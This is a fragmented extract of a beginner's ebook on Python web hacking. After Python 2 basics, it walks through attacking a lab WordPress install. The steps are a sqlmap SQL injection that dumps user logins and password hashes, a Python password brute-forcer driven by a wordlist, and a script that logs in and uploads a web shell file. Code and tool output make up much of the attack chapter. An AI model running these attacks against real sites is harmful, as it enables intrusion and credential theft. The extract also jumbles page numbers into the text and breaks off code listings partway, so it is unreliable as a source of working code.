Earnest Wish, Leo - Python Web Hacking Essentials (En)
Earnest Wish, Leo - Python Web Hacking Essentials (En)
Earnest Wish, Leo - Python Web Hacking Essentials (En)
Essentials
Earnest Wish
Earnest Wish has 15 years of experience as an information security
professional and a white hacker. He developed the internet stock
trading system at Samsung SDS at the beginning of his IT career,
and he gained an extensive amount experience in hacking and
security while operating the Internet portal system at KTH (Korea
Telecom Hitel). He is currently responsible for privacy and
information security work in public institutions and has deep
knowledge with respect to vulnerability assessments, programming
and penetration testing. He obtained the Comptia Network +
Certification and the license of Professional Engineer for Computer
System Applications. This license is provided by the Republic of
Korea to leading IT Professionals.
Leo
Leo is a computer architect and a parallel processing expert. He is
the author of six programming books. As a junior programmer, he
developed a billing system and a hacking tool prevention system in
China. In recent years, he has studied security vulnerability analysis
and the improvement in measures for parallel programming. Now,
he is a lead optimization engineer to improve CPU and GPU
performance.
CONTENTS IN DETAIL
Chapter 1 Preparation for Hacking 1
1.1 Starting Python 1
1.2. Basic Grammar 3
1.3 Functions 8
1.4 Class and Object 11
1.5 Exception Handling 14
1.6 Module 17
1.7 File Handling 21
1.8 String Format 25
Chapter 3 Conclusion 96
PREFACE
Target Audience
This book is not for professional hackers. Instead, this book is
made for beginners who have programming experience and are
interested in hacking. Here, hacking techniques that can be
easily understood have been described. If you only have a
home PC, you can test all the examples provided here. I have
included many figures that are intuitively understandable rather than
a litany of explanations. Therefore, it is possible to gain some
practical experience while hacking, since I have only used examples
that can actually be implemented. This book is therefore necessary
for ordinary people who have a curiosity of hackers and are
interested in computers.
10
querySkill = raw_input("select weapon: ") #(4)
print "\n"
print "----------------------------------------"
print "1.name:", name #(5)
print "2.age:", age
print "3.weight:", weight
i=0
print str(123)
print "----------------------------------------"
print "\n"
>>>
select weapon: sword
----------------------------------------
1.name: Hong Gil Dong
2.age: 18
11
3.weight: 69.3
4.armed weapon: sword [ power 98.5 ]
>>>i am ready to fight
----------------------------------------
13
Python is a language that dynamically determines the type for a
variable. When the variable name is first declared, the type of
variable is not specified, and Python will automatically recognize the
type when you assign the value of the variable and store it in
memory. There are some drawbacks in terms of performance, but
this provides a high level of convenience to the programmer. Python
supports data types, such as the following.
List 1-2 Frequently Used Data types
Numerics int Integer 1024, 768
float Floating-point 3.14, 1234.45
complex Complex 3+4j
Sequence str Strings, Immutable “Hello World”
objects
list List, Mutable objects [“a”,’’b”,1,2]
tuple Tuple, Immutable (“a”,”b”,1,2)
objects
Mapping dict Key viewable list, {“a”:”hi”,
Mutable objects “b”:”go”}
14
Execution syntax 2
else:
Execution syntax 3
1.3 Functions
1.3.1 Built-in Functions
As with other languages, Python uses functions to improve the
program structurally and to remove duplicate code. Python supports
a variety of built-in functions that can be used by including a
function call or importing a module. The “print” function is used
15
most frequently and can be used without import statements, but
mathematical functions can only be used after importing the “math”
module.
import math
print “value of cos 30:”, math.cos(30)
#start of function
def printItem(inSkill, idx=0): #(1)
name = "Hong Gil Dong"
age = 18
weight = 69.3
16
print "\n"
print "----------------------------------------"
print "1.name:", name
print "2.age:", age
print "3.weight:", weight
i=0
print "----------------------------------------"
print "\n"
printItem(“sword”, 1)
printItem(“sword”)
printItem(“sword”, i=0)
(1) Create a Class: If you specify a class name after using the
18
reserved word “class”, the class is declared.
(2) Constructor: The “__ init__” function is a constructor that is
called by default when the class is created. The “self” pointing
to the class itself is always entered as an argument into the
constructor. In particular, the constructor may be omitted
when there is no need to initialize.
(3) Function: It is possible to declare a function in the class. An
instance is then generated to call the function.
(4) Inheritance: In order inherit from another class, the name of
the inherited class must be used as an argument when the class
is declared. Inheritance supports the use of member variables
and functions of the upper class as is.
19
class MyHero(Hero): #(6)
def __init__(self, inSkill, inPower, idx):
Hero.__init__(self, "hong gil dong", 18, 69.3) #(7)
self.skill = inSkill
self.power = inPower
self.idx = idx
def printSkill(self):
print "4.armed weapon:" , self.skill + "[ power:" ,
self.power[self.idx], "]"
skill = ["sword","spear","bow","axe"]
power = [98.5, 89.2, 100, 79.2]
i=0
print "--------------------------------------"
print "\n"
try:
a = 10 / 0 #(1)
except: #(2)
print "1.[exception] divided by zero "
print "\n"
try:
a = 10 / 0
print "value of a: ", a
except ZeroDivisionError: #(3)
print "2.[exception] divided by zero "
print "\n"
try:
a = 10
b = "a"
c=a/b
except (TypeError, ZeroDivisionError): #(4)
print "3.[exception] type error occurred"
else:
print "4.type is proper" #(5)
finally:
print "5.end of test program" #(6)
>>>
1.[exception] divided by zero
23
2.[exception] divided by zero
1.6 Module
1.6.1 Basis of Module
A module in Python is a kind of file that serves as a collection of
functions that are frequently used. If you use a module, a complex
function is separated into a separate file. Therefore, it is possible to
24
create a simple program structure.
The basic syntax of the module is as follows.
print "\n"
print "----------------------------------------"
print "1.name:", name
print "2.age:", age
print "3.weight:", weight
26
(1) Declaring Variable: Declare a variable that can be used
internally or externally
(2) Declaring Function: Define a function according to the
feature that the module provides.
To import a previously declared module, let's create a program that
uses the functions in the module.
i=0
print "----------------------------------------"
print "\n"
Open mode
r read: Open for read
w write: Open for write
a append: Open for append
(1) Creating Object: Open the file object to handle files with a
specified name. Depending on the open mode, it is possible to
deal with file objects in different ways.
(2) Closing Object: After the use of the file object has finished,
you must close the object. Python automatically closes all file
objects at the end of the program, but if you try to use the file
opened in the “w” mode, an error will occur.
1.7.2 File Handling
The following example can be used to learn how to create and read a
28
file and add content. If you do not specify the location at the time of
the file creation, the file is created in the same location as the
program. After the “fileFirst.txt” and “fileSecond.txt” files have been
created, let's create a simple program that print out each file.
import os
print("write fileFirst.txt")
print("-----------------------------")
openFile("fileFirst.txt") #(11)
print("-----------------------------")
29
print("\n")
print("write secondFirst.txt")
print("-----------------------------")
openFile("fileSecond.txt") #(12)
print("-----------------------------")
>>>
write fileFirst.txt
-----------------------------
This is my first file3
-----------------------------
write secondFirst.txt
-----------------------------
This is my second file 1
-----------------------------
31
You can copy and delete the files using a variety of modules, and it
is possible to move and copy by using the “shutil” module, and to
delete the file by using the “os” module.
Insert the string format code in the middle of the output string.
Place the characters that you want to insert with the “%” code after
the string.
List 1-3 String Format Code
%s String
%c Character
%d Integer
%f Floating Pointer
%o Octal Number
%x Hexadecimal Number
32
print("print string: [%s]" % "test")
print("print string: [%10s]" % "test") #(1)
print("print character: [%c]" % "t")
print("print character: [%5c]" % "t") #(2)
print("print Integer: [%d]" % 17)
print("print Float: [%f]" % 17) #(3)
print("print Octal: [%o]" % 17) #(4)
print("print Hexadecimal: [%x]" % 17) #(5)
>>>
print string: [test]
print string: [ test]
print character: [t]
print character: [ t]
print Integer: [17]
print Float: [17.000000]
print Octal: [21]
print Hexadecimal: [11]
34
Chapter 2
Web Hacking
2.1 Overview of Web Hacking
Most of the services you are using operate over the Internet. In
particular, web pages transmitted over the HTTP protocol may be at
the heart of an Internet service. A home page that is used for a PC
and a smartphone is a kind of Web service. Most companies basically
block all service ports due to security, but port 80 remains open for
Web services. Google, which is a typical portal site that people
connect to everyday, also uses port 80. Web services recognize that
you are using the port 80, if you do not specify a different port
behind the URL. Through port 80, a web server transmits a variety
of data to your PC, including text, images, files, videos. Through the
port 80, a user can also transmit a variety of data from text to a large
file to a web server.
35
Port 80 can be used in a variety of ways. However, a firewall does
not perform a security check on port 80. In order to address this
vulnerability, a Web Firewall can be implemented. However, it is
impossible to protect from all attacks, which evolve every day. At
this moment, hackers are exploiting vulnerabilities in Web services
and are trying to conduct fatal attacks.
The OWASP (The Open Web Application Security Project) releases
security vulnerabilities on the web annually. The OWASP publishes a
Top 10 list, and the details are as follows:
• A1 Injection
A hacker performs an injection attack by using unreliable data
when transferring instructions to databases, operating systems,
LDAP. Hackers execute a system command through an
injection attack to gain access to unauthorized data.
• A3 Cross-Site Scripting(XSS)
An XSS vulnerability occurs when an application sends data to
a web browser without proper validation. Important
information on the PC that had been entered by the victim who
executed the script XSS is then transmitted to the hacker.
36
• A4 Insecure Direct Object References
In an environment where appropriate security measures have
been taken, a user cannot acces internal objects, such files,
directories, and database keys via a URL. Only through auxiliary
means is it possible to access internal objects. If an internal
object is exposed directly to the user, it is possible to access
unauthorized data by operating the method of access.
• A5 Security Misconfiguration
Applications, frameworks, application servers, web servers,
database servers, and platforms have implemented a variety of
security technologies. An administrator can change the security
level by modifying the environment file. Security technology
that has been installed can be exposed to a new attack over
time. In order to maintain the safety of the system, an
administrator has to constantly check the environment and
need to ensure that software is up to date.
37
client side. A web scroller is a program that finds the URL of a
web server and analyzes the HTML call. The permissions that
are processed by the script can be verified to have been
neutralized by a web scroller.
Install Apache and Mysql to use the Web server and the DB. You
can use them for free because they are open source. Install a PHP-
based open source WordPress site for hacking. This software
supports blogging features.
39
Figure 2-3 Concept of Test Environment
41
Figure 2-6 Windows Installation
Once Windows is installed, it can be used to boot the Virtual PC.
One issue is that the clipboard cannot be shared. In order to test for
hacking, the data needs to be frequently copied from the host
computer and pasted into the Virtual PC. In Virtualbox, the Guest
extension installation supports clipboard functions.
42
Figure 2-7 Installing the Guest Extensions
If you click on “Device > Install guest extensions”, the expansion
modules can be installed in the Virtual PC. Data can be freely copied
and pasted in both directions by setting the “Device > Sharing
clipboard” settings.
2.2.2 APM Installation
Download the installation file for APM in order to set up your
development environment. APM is a collection of web system
development tools that are provided free of charge. APM is an
abbreviation for Apache (Web server), PHP (Web development
language) and Mysql (database).
43
Figure 2-8 APM Download
The Soft 114 web site provides an executable file that can easily
install APM (http://www.wampserver.com/en/). Download and
run the installation file to server PC. If you see an error related to
“MSVCR110.dll”, install “VSU_4\vcredist_x86.exe” from the
“http://www.microsoft.com/en-
us/download/details.aspx?id=30679” site.
44
Figure 2-9 APM completed installation
If you enter the address (http://localhost) in the Explorer address
bar, you can see the above screen. Click on phpMyAdmin
(http://localhost/phpmyadmin) to enter the Mysql Manager screen.
45
Figure 2-10 Mysql Administrator Screen
Click the “New” tab on the left menu and click the “Users” tab in
the upper right corner. When you click “Add user” at the bottom of
the window, this screen allows you to enter the user information.
Click the “Database” tab and let's create a new database. Enter the
database name as “wordpress”. Clicking the “Check Privileges” entry
at the bottom, you can see that permission was given to the “python”
account by default.
47
Figure 2-13 Database Creation
51
Figure 2-20 Complete WordPress installation
The “server” has a computer name that is still unknown. You need
to register the IP and the name of server PC in all virtual PCs (server
PC, client PC, hacker PC). Windows provides a local DNS function
by using the hosts file. First, let's check the IP address of the server
PC.
53
Figure 2-23 Check IP
Let's first run the cmd program. If you enter the “ipconfig –all”
command, you can see the IP. Now register the IP in the “hosts” file.
The “hosts” file is located in the
“C:\Windows\system32\drivers\etc” folder. Let's open it with the
Notepad program. Register an IP in the form of “IP name”. It is
always necessary to set it in the same manner for all three virtual PCs.
54
Figure 2-24 IP registration in the hosts file
Now that all of the necessary settings have been set, open a browser
on the client PC and enter the WordPress address of the server PC
(http://server/wordpress). When you see the following screen, it is a
sign that the test environment has been successfully set. If the screen
does not appear correctly, you must confirm once again that the
firewall of the server PC has been disabled.
55
Figure 2-25 Client PC Execution result
56
$result = mysql_query($query, $connect)
Users typically log in using their username and password. If the user
uses the correct username and password, the Web server successfully
completes the authentication process. Let’s enter abnormal SQL
Code into the “id” field to perform a SQL Injection.
• SQL Injection Code
1 OR 1=1 --
If the above code is entered in the “id” field, the normal SQL
statement changes as follows.
• Modified SQL Statement
57
Figure 2-26 sqlmap.org
Now, let's install sqlmap. Download the zip file by connecting to
http://sqlmap.org. Unzip the file to the directory
(C:\Python27\sqlmap). This file does not require a special
installation process, but it is instead sufficient to simply run the
“sqlmap.py” file in that directory.
In terms of the WordPress site, secure coding practices have been
properly implemented, so it is difficult to hack directly. In order to
test the hacking tools, you must install a relatively vulnerable plugin.
You can find a variety of plugins in the WordPress website.
In order to conduct the test, let’s download one video-related plugin.
A hacker recently released a security vulnerability in this plug-in not
long ago, and although security patches have been applied, simple
code can be executed to make this plugin ready for hacking.
The installation can be completed by simply copying the file that has
been downloaded to the “wordpress\wp-content\plugins” directory
58
on the server PC and unzipping the file. Then open the file
(wordpress\wp-content\plugins\all-video-gallery\config.php) to
modify the code. This file is a part of a program that provides an
environment display function.
60
command prompt, and move to the "C:\Python27\sqlmap"
directory. Then enter the following command
C:\Python27\python sqlmap.py -u
"http://server/wordpress/wp-content/plugins/all-video-
gallery/config.php?vid=1&pid=1" --level 3 --risk 3 --dbms
mysql
[ level option ]
0: Show only Python tracebacks, error and critical
messages.
1: Show also information and warning messages.
2: Show also debug messages.
3: Show also payloads injected.
4: Show also HTTP requests.
5: Show also HTTP responses' headers.
6: Show also HTTP responses' page content.
The “[--risk]” option assigns the risk level. If the risk level is high,
the test there has a high probability of causing a problem on the site.
[ risk option ]
1: This is innocuous for the majority of SQL
injection points. Default value.
Normal Injection(union), Blind
Injection(true:1=1, false:1=2)
2: Add to the default level the tests for heavy query
61
time-based SQL injections.
3: Adds also OR-based SQL injection tests.
The “[--dbms]” option assigns the database type. If you don't use
that option, sqlmap runs the test against all kinds of databases. The
database type is specified by mysql for convenience. If you are asked
for the test to proceed, enter "y".
Place: GET
Parameter: pid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
62
Payload: vid=1&pid=1 AND 4391=4391
there were multiple injection points, please select the one to use for
following injections:
[0] place: GET, parameter: pid, type: Unescaped numeric (default)
[1] place: GET, parameter: vid, type: Unescaped numeric
[q] Quit
>0
Database: phpmyadmin
[8 tables]
+------------------------------------------------+
| pma_bookmark |
| pma_column_info |
| pma_designer_coords |
| pma_history |
| pma_pdf_pages |
| pma_relation |
| pma_table_coords |
| pma_table_info |
+------------------------------------------------+
Database: wordpress
[16 tables]
+------------------------------------------------+
| prg_connect_config |
| prg_connect_sent |
| wp_allvideogallery_categories |
| wp_allvideogallery_profiles |
| wp_allvideogallery_videos |
64
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_terms |
| wp_usermeta |
| wp_users |
+------------------------------------------------+
Figure 2-30 Searching Table Result
When asked for which arguments to use to hack in the middle, enter
"0". When manually browsing the list of tables, the "wp_users" table
is likely to be the table that contains user information. If the table
selection is wrong, you can choose a different table. Now, you can
extract the list of columns in the table.
Database: wordpress
65
Table: wp_users
[10 columns]
+-----------------------------+------------------------------+
| Column | Type |
+-----------------------------+------------------------------+
| display_name | varchar(250) |
| ID | bigint(20) unsigned |
| user_activation_key | varchar(60) |
| user_email | varchar(100) |
| user_login | varchar(60) |
| user_nicename | varchar(50) |
| user_pass | varchar(64) |
| user_registered | datetime |
| user_status | int(11) |
| user_url | varchar(100) |
+-----------------------------+------------------------------+
Figure 2-31 Searching Column Result
Let's now take a look at the list of columns that has been retrieved.
The "user_login" and "user_pass" columns store the user ID and
password, respectively. By obtaining only these columns of
information, the site can be successfully hacked. Let's extract the
login information.
66
option is then used to extract all of the data that is stored in that
column.
Database: wordpress
Table: wp_users
[1 entry]
+------------------------------------------------------------------+---------------------+
| user_pass | user_login |
+------------------------------------------------------------------+---------------------+
| $P$BfKYXQB9dz5b6BJl0F6qy6lRG1bRai0 (python) | python |
+------------------------------------------------------------------+---------------------+
Figure 2-32 Data Extraction Result
You will receive two questions during this process. One is whether
to store the hash data, and the other is whether to decrypt the hash
data. Set all to "y". The tool provided by sqlmap can then be used to
decode the encrypted password. Both the extracted ID and password
results are the values that were entered during program installation.
Now, you have the administrator account.
67
Figure 2-33 Python Web page Call Process
A Python application can call a web page in a simple way by using
the “urllib” and “urllib2” modules. “urllib” creates POST messages
in the same manner as "key1=value1&key2=value2". In “urllib2”,
you can create a “Request” object, wich returns a “Response” object
via a call to the Web server. The step-by-step procedure is as follows.
(1) Request Object: Using the “urllib” module, you can create an
HTTP Header and Body data. When you send a “GET”
method, a “Request” object is not created separately. Only the
URL that is in character when calling the HTTP transport
module is delivered. However, you must create a “Request”
object when using the POST method with a change in the
Header value and a Cookie transfer.
(2) Transfering HTTP: The functions provided by “urllib2” can
be used to immediately call the URL without any additional
work for socket communication. The URL is passed as an
argument, and “Request” object is passed together if necessary.
This function supports most features that are provided by a
browser to provide communication.
68
(3) Server PC: The URL points to a service running on an Apache
Web server on the server PC. The Apache Web server parses
the HTTP Header and Body and then invokes the desired
service. The results are then sent back to the hacker PC by
creating an HTTP protocol format.
(4) Response Object: The response from the web server is an
HTTP protocol format. The “urllib2” module returns the
“Response” object that can be used in this application.
(5) Hacker PC: You can query the return URL, HTTP status code,
and the header information and data by using the functions
that “Response” object provides.
Hacking requires may require repetitive tasks, so if you use a browser
to hack a Web site directly, it is necessary to repeatedly click while
continuously changing the input values. However, if it is possible to
implement this process in a program, you can succeed with only a
few lines of code. Let's therefore learn how Python calls a Web page
through the following example.
import urllib
import urllib2
69
print "#URL:%s" % response.geturl() #(7)
print "#CODE:%s" % response.getcode()
print "#INFO:%s" %response.info()
print "#DATA:%s" %response.read()
Example 2-5 Calling a Web Page
I have entered the user name and the password in the WordPress
login page. I deliberately used the wrong password to obtain a simple
response, which makes the analysis simple.
(1) Setting URL: Specify the access URL.
(2) Setting Data: Specify the data in a list form.
(3) Setting Header: It is possible to arbitrarily set the value of the
HTTP header. The type of browser that is used is originally set,
but it can be arbitrarily specified by the hacker. It is possible to
place the cookie information from the client here.
(4) Encoding Data: Set the value in the form that is used by the
HTTP protocol. The data changes in the
“key1=value1&key2=value2” form.
(5) Creating Request Object: The number of arguments can be
changed when creating the “Request” object. When you call a
service with a simple URL, it binds only the URL to the
argument. If you want to transfer data, then place the data into
the argument.
(6) Calling a Web Page: The “urlopen” function calls the web
page by connecting the communication session, and it then
returns a “Response” object with the result. The “Response
object is similar to a file.
(7) Printing Result: The required values in the “Response” object
are extracted and shown on the screen.
70
The “urllib” and “urllib2” modules provided by Python have many
features. For example, when used with the “cookielib” module, they
pass a cookie value to the Web server to maintain the session. This
enables the application to access the sites that require authentication.
The application can download a file while maintaining the session
and can upload the file necessary for the XSS attack.
#URL:http://server/wordpress/wp-login.php
#CODE:200
#INFO:Date: Thu, 10 Apr 2014 08:08:36 GMT
Server: Apache
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Set-Cookie: wordpress_test_cookie=WP+Cookie+check;
path=/wordpress/
X-Frame-Options: SAMEORIGIN
Content-Length: 3925
Connection: close
Content-Type: text/html; charset=UTF-8
#DATA:<!DOCTYPE html>
<!--[if IE 8]>
<html xmlns="http://www.w3.org/1999/xhtml" class="ie8"
lang="ko-KR">
<![endif]-->
<!--[if !(IE 8) ]><!-->
<html xmlns="http://www.w3.org/1999/xhtml" lang="ko-
KR">
<!--<![endif]-->
<head>
Figure 2-34 Web Page Call Result
71
Now let's learn how to conduct a Password Cracking attack.
Basically, WordPress does not check the number of times that a
password error has occurred in its login program. A hacker can
therefore execute code that repeatedly enters password information
inside the application that calls the web page. First, we obtain a data
dictionary that supports various passwords. To this end, the sqlmap
module that you used before provides a wordlist.zip file.
!
! Keeper
!!
!!!!!!
!!!!!!!!!!!!!!!!!!!!
!!!!!2
72
!!!!lax7890
!!!!very8989
!!!111sssMMM
!!!234what
!!!666!!!
Figure 2-36 wordlist.txt
For convenience during the hacking test, let's assume that we know
the ID. It is possible to find the ID through various means by using
Google. Let's then make a program that tries to repeatedly log in
while reading the passwords from wordlist.txt file one by one. We
use “python” as the ID. Since the position for “python”
corresponding to the password is in the second half the wordlist.txt
file, let’s copy it to the front in order to immediately obtain the
results.
73
Figure 2-38 HTML Code for the Login Page
If you right-click on the sign-in page, you can select the “Source
View (V)” menu. The HTML code that is executed in the browser is
shown above. You must know some of the HTML tags and fields.
First, the “action” field on the form tag specifies the page that is to
be called when it is sent. The “name” field of the input tag indicates
the names of the variables that store the user input, and the
username is stored in the “log” variable and the password is stored in
the “pwd” variable.
Let's now create a full-fledged Python program.
import urllib
import urllib2
74
passwords = wordlist.readlines()
for password in passwords: #(4)
password = password.strip()
data = urllib.urlencode(values)
request = urllib2.Request(url, data)
response = urllib2.urlopen(request)
try:
idx = response.geturl().index('wp-admin') #(5)
except:
idx = 0
75
(3) Opening File: Open the text file that has the password that is
used for the test.
(4) Starting Loop: Transmit the data stored in the file one-by-one
and find the password that matches with the user name
(5) Checking Login: Once successfully logged in, Wordpress
proceeds to the admin screen. Therefore, check that it contains
the address of the admin screen in the return URL.
(6) Ending Loop: If it contains the address of the administrator
screen, it will exit the loop. Otherwise, it will retry the login
with the next entry.
I moved the position of the “python” entry forward in the
wordlist.txt file to make this test more convenient.
################failed############[!]
################failed############[! Keeper]
################failed############[!!]
################failed############[!!!]
################failed############[!!!!!!]
################failed############[!!!!!!!!!!!!!!!!!!!!]
################failed############[!!!!!2]
################success############[python]
Figure 2-39 Password Cracking Results
76
2.5 Web Shell Attack
A Web shell is a program that contains code that can be delivered as
commands to the system. A Web Shell can be created by using
simple server-side scripting language (jsp, php, asp, etc.). The file
upload functionality provided by the website can be used to upload
your Web Shell file, and it can be executed by calling the next URL
directly. Most websites block the Web Shell attack by checking the
extension of the file, and there are many evasion techniques. Let's
look briefly at Web Shell attacks by hacking a web site that has been
developed in the php language,.
77
Let's install a simple program to test a Web Shell attack. The file
upload program in Wordpress is made with Flash, so it cannot be
easily inspected through the HTML source code. Let’s download and
install the HTTP Analyzer (http://www.ieinspector.com/download.html).
This program can monitor browser communication over the HTTP
protocol.
78
Figure 2-42 HTTP Analyzer Execution Screen
79
Figure 2-43 HTTP Header
Next, let's look at the information in the Body. The data that is to be
sent to the server as a POST method is stored in the Body in the
“key, value” format. In the case of a file transfer, boundary
information is inserted into the “Content Type” in the header.
Basic information was collected for the Web Shell attacks, and now
let's try an authentic Web Shell attack. First, create a php file where
the server can easily collect server information as follows.
81
Figure 2-46 Web Shell Attack Procedures
Ensure that any data sent to any web page is analyzed with the
corresponding HTTP packets. The majority of file upload pages
verify authentication, so you should know the login information. If it
is possible to log in by signing up, this will be easer. The detailed
procedure is as follows:
(1) Login: First, you should know the login information. To
obtain authentication information through the sign up process,
conduct a SQL Injection attack or a Password Cracking attack.
(2) Saving Cookie: The browser uses cookies to maintain the
login session with the Web server, and the Python program
stores cookies received after authentication as a variable. Then,
it transmits the cookie stored in the variable to the web server
without conducting an additional authentication process. The
Python program can therefore be used to send a file repeatedly
while maintaining the login session.
(3) Loading File: Uploading the executable file via a URL
involves repetitive tasks that are required. Some files are
82
executable on an Apache server, such as php, html, cer, etc.
Therefore, most sites prevent uploading these files for security
reasons. To bypass these security policies, files with a different
file name can be created. Through repetitive tasks, the files are
uploaded to the server to identify vulnerabilities, and the data
is then loaded by reading the file.
(4) Setting Header: It is necessary to set information when
transmitting data to the server. Set the information to the
header fields such as “User-Agent”, “Referer”, “Content-
Type”, etc.
(5) Setting Body: Store the data that is to be transmitted to the
server in the Body. It is possible to obtain the basic settings
that are required when uploading the file through an HTTP
packet analysis. The rest consist of file-related data. Each of
the data are transmitted separated by “pluploadboundary”
(6) Transferring File: Call the server page with the Head and
Body information that was previously prepared. If the
transmission is successful you can call the Web Shell program
via a URL corresponding to the location where the file was
uploaded. If the transmission fails, go back to Step (3) and
send the file again.
Let's create a program to upload a full-fledged Web Shell file. Many
scripts for a Web Shell attack are available on the Internet. The file
transfer process is divided into three stages: Login, Form data setting
and file transfer. First, the login program is implemented as follows.
83
cj = CookieJar() #(1)
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) #(2)
url = "http://server/wordpress/wp-login.php"
values = {
'log': “python”,
'pwd': “python”
}
headers = {
'User-Agent':'Mozilla/4.0(compatible;MISE 5.5; Windows NT)',
'Referer':'http://server/wordpress/wp-admin/'
}
data = urllib.urlencode(values)
request = urllib2.Request(url, data, headers)
response = opener.open(request) #(3)
84
“Opener” objects, the login information is maintained, and you
can call the service without stopping. Changing the Header and
the Body value of the Request object makes it possible to
change the service call.
The above example invokes the login page while passing the
username and the password as values. You can obtain the cookie
information and the successful login message as a result. In general,
the “multipart/form-data” value is inserted into the “enctype”
attribute of the form tag. When uploading files, the body is
configured unlike in the typical POST method.
85
L.append('Content-Disposition: form-data; name="%s";
filename="%s"' % (key, filename))
L.append('Content-Type: %s' % contenttype)
fd.seek(0)
L.append('\r\n' + fd.read())
L.append('--' + BOUNDARY + '--')
L.append('')
body = CRLF.join(L)
content_type = 'multipart/form-data; boundary=%s' %
BOUNDARY
return content_type, body
fields = [ #(5)
("post_id", "59"),
("_wpnonce", "7716717b8c"),
("action", "upload-attachment"),
("name", "webshell.html"),
]
# various types file test
fd = open("webshell.html", "rb") #(6)
files = [("async-upload", fd)]
print body
The general data and the file data have different data formats.
Therefore, setting up the various pieces of data requires using
complex tasks. For the sake of simplicity, the structure is separated
into a separate class.
86
(1) Declaring Function: Declare a function that takes two lists as
arguments. Transfer the data and the attached files into a form-
data format.
(2) Setting Boundary: When you generate the form-data, each
value is distinguished by a “boundary”. Set this to the same
format as the “boundary” identified in the HTTP Analyzer.
(3) Setting the Transferred Data: When creating the class, the list
of fields is passed as an argument. Transform the value into a
“form-data” type. Each value is separated by the “boundary”.
(4) Setting the Transferred File: When creating the class, the list
of files is passed as an argument. Transform the value into a
“from-data” type. The “filename” and “contentType” fields
are additionally set. Enter the file contents into the data section.
(5) Setting Fields: Specify all values that are passed to the server
except for the file data. Set all the values that were identified in
the HTTP Analyzer. In WordPress, this value is generated
once and is invalidated after a certain period of time. Therefore,
do not use the same values in this book, you must get it
through a direct analysis with HTTP Analyzer.
(6) Opening File: Generate the list of files that are passed as an
argument to the class by opening the file. At this time, “async-
upload” which is equivalent to “name”, is the value that is
confirmed in HTTP Analyzer.
(7) Creating the Form Data: When you create a class to return
“content-type” and “body” as results. “body” corresponds to
the “Form” data. Pass both values when calling the URL for a
file upload.
The “Form” data is set as follows.
87
----pluploadboundary1398004118
59
----pluploadboundary1398004118
7716717b8c
----pluploadboundary1398004118
upload-attachment
----pluploadboundary1398004118
webshell.html
----pluploadboundary1398004118
88
filename="webshell.html"
Content-Type: text/html
----pluploadboundary1398004118--
89
Now, let’s complete the hacking program by combining the codes
that were previously described, and verify the results.
90
L.append('')
body = CRLF.join(L)
content_type = 'multipart/form-data; boundary=%s' %
BOUNDARY
return content_type, body
values = {
"log": "python",
"pwd": "python"
}
headers = {
"User-Agent":"Mozilla/4.0(compatible;MISE 5.5; Windows NT)",
"Referer":"http://server/wordpress/wp-admin/"
}
data = urllib.urlencode(values)
request = urllib2.Request(url, data, headers)
response = opener.open(request)
91
("name", "webshell.html"),
]
fd = open("webshell.html", "rb")
files = [("async-upload", fd)]
{"success":true,"data":{"id":64,"title":"webshell","filename":"webshell.
html","url":"http:\/\/server\/wordpress\/wp-
content\/uploads\/2014\/04\/webshell.html","link":"http:\/\/s
erver\/wordpress\/?attachment_id=64","alt":"","author":"1","descrip
92
tion":"","caption":"","name":"webshell","status":"inherit","uploadedT
o":59,"date":1.39791236e+12,"modified":1.39791236e+12,"menuOrde
r":0,"mime":"text\/html","type":"text","subtype":"html","icon":"http:
\/\/server\/wordpress\/wp-
includes\/images\/crystal\/code.png","dateFormatted":"2014\ub144
4\uc6d4
19\uc77c","nonces":{"update":"f05a23134f","delete":"9291df03ef"},"
editLink":"http:\/\/server\/wordpress\/wp-
admin\/post.php?post=64&action=edit","compat":{"item":"","meta":
""}}}
94
References
• https://www.owasp.org
• https://www.virtualbox.org
• http://dev.naver.com/projects/apmsetup/download
• http://www.wordpress.org
• http://www.flippercode.com/how-to-hack-wordpress-site-using-sql-injection/
• https://github.com/sqlmapproject/sqlmap/wiki/Usage
• http://en.wikipedia.org/wiki/SQL_injection
• https://docs.python.org/2/library/urllib.html
• https://docs.python.org/2/library/urllib2.html
• http://www.hacksparrow.com/python-difference-between-urllib-and-
urllib2.html
• http://www.scotthawker.com/scott/?p=1892
95
Chapter 3
Conclusion
To become an Advanced Hacker
Basic Theory
The most effective way to become an advanced hacker is to study
computer architectures, operating systems, and networks. Therefore,
dust off the major books that are displayed on a bookshelf and read
them again. When reading books to become a hacker, you will have a
different experience from that in the past. If you can understand
principles and draw pictures of the necessary actions in your head,
you are ready now. Let's move on to the next step.
Hacking Tools
First, let's discuss a variety of tools. There are many tools available
on the Internet, such as Back Track (Kali Linux), Metasploit, IDA
Pro, Wireshark, and Nmap. The boundaries between analysis and
attacking or hacking and defense are unclear. Testing tools can be
96
used for attacks, and attack tools can also be used for analysis, so it is
possible to understand the basics of hacking while studying how to
use some of the tools that were previously listed. Of course, it is
important to learn how to use these in a test environment and to not
attack a commercial website.
Languages
If you know understand the basics of hacking, you will have the
desire to try to do something for yourself. At this point, it is
necessary to learn a development language. You must understand
high-level languages such as Python, Ruby, Perl, C, and Javascript as
well as low-level languages such as Assembler. Assembler is the basis
for reversing and debugging, and it is an essential language you need
to know to become an advanced hacker.
Reversing
Network hacking and Web hacking are relatively easy to understand.
However, a system hack based on an application has a significantly
higher level of difficulty. If you have sufficient experience with
assembly and debugging tools, such as Immunity Debugger, IDA
Pro, Ollydbg, then you can take a challenge for reversing. Even if
you understand the control flow of the computer architecture and
assembly language, hacking systems one by one is difficult, and only
advanced hackers can do so.
Fuzzing
The first step for hacking is to find vulnerabilities. Fuzzing is a
security test techniques that observes behavior by inputting random
data into a program. If the program malfunctions, then it is evidence
97
that the program contains vulnerabilities. While using the debugger
to observe the behavior of a program, a hacker can explore possible
attacks. If you have confidence in hacking, then you can study
fuzzing more seriously. Successfully finding vulnerabilities will lead
to successful hacking.
98